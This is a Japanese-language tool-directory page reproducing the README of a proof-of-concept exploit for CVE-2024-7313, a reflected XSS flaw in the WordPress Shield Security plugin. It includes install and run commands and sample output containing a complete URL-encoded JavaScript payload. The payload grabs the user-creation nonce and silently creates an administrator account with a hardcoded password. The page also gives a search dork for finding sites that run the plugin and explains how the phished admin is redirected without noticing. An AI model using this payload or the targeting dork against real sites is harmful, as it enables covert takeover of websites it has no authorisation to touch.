Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2024-7313 — WordPress プラグイン Shield Security < 20.0.6 を介した XSS による未承認の管理者アカウント作成のカスタム概念実証 | Kitploit
ツール/GitHubGitHub/wayne-ker/cve-2024-7313
ペイロード生成脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育
GitHubwayne-ker/cve-2024-7313

CVE-2024-7313

WordPress プラグイン Shield Security < 20.0.6 を介した XSS による未承認の管理者アカウント作成のカスタム概念実証

リポジトリを見る
312年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Shield Security プラグインの脆弱性エクスプロイト (CVE-2024-7313)

Kali Linux Works on My Machine Sleep Deprivation

概要

このリポジトリには、WordPress 用 Shield Security プラグイン(20.0.6 未満のバージョンに影響)の反射型 XSS 脆弱性を悪用するために設計された Python PoC スクリプトが含まれています。この脆弱性(CVE-2024-7313)により、攻撃者はターゲットに合わせた悪意のあるリンクを作成でき、管理者がそのリンクをクリックすると、XSS を介して不正な管理者アカウントが作成されます。このスクリプトは脆弱なインストールを自動的に検出し、脆弱性を悪用するペイロードを生成します。

脆弱性情報

  • CVE: CVE-2024-7313
  • プラグイン: Shield Security < 20.0.6
  • 深刻度: 高
  • 影響を受けるシステム: Shield Security プラグイン バージョン 20.0.6 未満を使用する WordPress ウェブサイト
  • 攻撃タイプ: 反射型クロスサイトスクリプティング (XSS)
  • 公開日: 2024年8月7日
  • OWASP TOP-10: A7: クロスサイトスクリプティング (XSS)

使用方法

前提条件

  • Python 3.x
  • requests および beautifulsoup4 ライブラリ

必要なライブラリを次のコマンドでインストールします:

root@kitploit:~
pip install requests beautifulsoup4

スクリプトの実行

  1. リポジトリをクローンします:
root@kitploit:~
git clone https://github.com/Wayne-Ker/CVE-2024-7313.git
cd CVE-2024-7313
  1. ターゲット URL を指定してスクリプトを実行します:
root@kitploit:~
python3 exploit.py <target_url>

例:

root@kitploit:~
python3 exploit.py http://127.0.0.1

新しい管理者ユーザーの必要な詳細(ユーザー名、メールアドレス、名、姓)を入力すると、スクリプトがペイロード URL を生成します。この URL をブラウザに貼り付けると反射型 XSS 攻撃が実行され、WordPress サイトに新しい管理者ユーザーが作成されます。

  1. 出力例:
root@kitploit:~
#############################################################################
#                                                                           #
#                                                                           #
#   ______     _______     ____   ___ ____  _  _       _____ _____ _ _____  #
#  / ___\ \   / | ____|   |___ \ / _ |___ \| || |     |___  |___ // |___ /  #
# | |    \ \ / /|  _| _____ __) | | | |__) | || |_ _____ / /  |_ \| | |_ \  #
# | |___  \ V / | |__|_____/ __/| |_| / __/|__   _|_____/ /  ___) | |___) | #
#  \____|  \_/  |_____|   |_____|\___|_____|  |_|      /_/  |____/|_|____/  #
#                                                                           #
#    Shield Security Plugin Vulnerability (CVE-2024-7313)                   #
#    Reflected XSS in WordPress Shield Security Plugin                      #
#    Versions Affected: < 20.0.6                                            #
#    Risk: High                                                             #
#    Developed by: Wayne-Kerr                                              #
#    Published: August 7, 2024                                              #
############################################################################# 
Shield Security version is vulnerable. Let's continue.
Enter username: fakename
Enter email: [email protected]
Enter first name: Haxor
Enter last name: test

Using hardcoded password: HaxorStrongAFPassword123!!

Generated XSS Payload URL: http://127.0.0.1/wp-admin/admin.php?page=icwp-wpsf-plugin&nav=dashboard&nav_sub=%3Cscript%3Evar%20xhrNonce%20%3D%20new%20XMLHttpRequest%28%29%3B%20xhrNonce.open%28%27GET%27%2C%20%27/wp-admin/user-new.php%27%2C%20true%29%3B%20xhrNonce.onload%20%3D%20function%28%29%20%7B%20if%20%28xhrNonce.status%20%3D%3D%3D%20200%29%20%7B%20var%20nonce%20%3D%20xhrNonce.responseText.match%28/name%3D%22_wpnonce_create-user%22%20value%3D%22%28%5Ba-zA-Z0-9%5D%2B%29%22/%29%5B1%5D%3B%20var%20xhr%20%3D%20new%20XMLHttpRequest%28%29%3B%20xhr.open%28%27POST%27%2C%20%27/wp-admin/user-new.php%27%2C%20true%29%3B%20xhr.setRequestHeader%28%27Content-Type%27%2C%20%27application/x-www-form-urlencoded%27%29%3B%20xhr.setRequestHeader%28%27Referer%27%2C%20%27http%3A//127.0.0.1/wp-admin/user-new.php%27%29%3B%20xhr.setRequestHeader%28%27Origin%27%2C%20%27http%3A//127.0.0.1%27%29%3B%20var%20params%20%3D%20%27action%3Dcreateuser%26_wpnonce_create-user%3D%27%20%2B%20nonce%20%2B%20%27%26_wp_http_referer%3D%252Fwp-admin%252Fuser-new.php%26user_login%3Dnick%26email%3Dnick%2540test.com%26first_name%3Dnick%26last_name%3Dtest%26url%3Dtest%26pass1%3DHaxorStrongAFPassword123%2521%2521%26pass2%3DHaxorStrongAFPassword123%2521%2521%26role%3Dadministrator%26createuser%3DAdd%2BNew%2BUser%27%3B%20xhr.send%28params%29%3B%20xhr.onload%20%3D%20function%28%29%20%7B%20if%20%28xhr.status%20%3D%3D%20200%29%20%7B%20console.log%28%27Admin%20user%20created%20successfully%27%29%3B%20window.location.href%20%3D%20%27http%3A//127.0.0.1/wp-admin/admin.php%3Fpage%3Dicwp-wpsf-plugin%26nav%3Ddashboard%26nav_sub%3Doverview%27%3B%20%7D%20else%20%7B%20console.log%28%27Error%20occurred%3A%20%27%20%2B%20xhr.statusText%29%3B%20%7D%20%7D%3B%20%7D%20else%20%7B%20console.log%28%27Error%20fetching%20nonce%3A%20%27%20%2B%20xhrNonce.statusText%29%3B%20%7D%20%7D%3B%20xhrNonce.send%28%29%3B%3C/script%3E

生成された XSS ペイロード URL にアクセスすると、エクスプロイトが実行され、ターゲットの WordPress サイトに新しい管理者ユーザーが作成されます。

ヘルプメニュー

ヘルプメニューは次のコマンドで表示できます:

root@kitploit:~
python3 exploit.py -h

脆弱なサイトを見つけるための Dork

脆弱なプラグインを使用しているウェブサイトを特定するには、次の dork を使用します:

root@kitploit:~
inurl:"/wp-content/plugins/wp-simple-firewall/"

これにより、Shield Security プラグインがインストールされているウェブサイトを見つけることができます。バージョン番号は一般公開されていないため、手動でのテストが必要になる場合があることに注意してください。

仕組み

  • スクリプトはまず、wp-login.php ページからの応答を調べることで、ターゲットの WordPress インストールが脆弱なバージョンの Shield Security プラグインを使用しているかどうかを確認します。
  • プラグインのバージョンに脆弱性がある場合、実行時にハードコードされたパスワードで新しい管理者ユーザーを作成する反射型 XSS ペイロードの生成に進みます。
  • ペイロードは、最初に GET リクエストを使用してアカウント作成に使用される WordPress nonce を動的に見つけ、次にその nonce を使用して、スクリプトで指定された新しいユーザーの詳細を含む POST リクエストをユーザー作成エンドポイントに送信するように作成されています。
  • ペイロードは URL エンコードされ、攻撃で使用するために表示されます。
  • サイトの管理者に送信されてリンクがクリックされると、スクリプトが解析した詳細を使用して、サイトに新しい管理者ユーザーが作成されます。これはすべてバックグラウンドで実行され、フィッシングされた管理者はエクスプロイトに気づくことなく、Shield Security ダッシュボードにリダイレクトされます。

免責事項

このツールは教育目的のみを意図しており、許可された侵入テスト環境でのみ使用する必要があります。所有していないシステムへの不正アクセスまたは使用は違法です。作者はこのツールの誤用について一切責任を負いません。

ライセンス

このプロジェクトは MIT ライセンスの下でライセンスされています。

ツールをダウンロード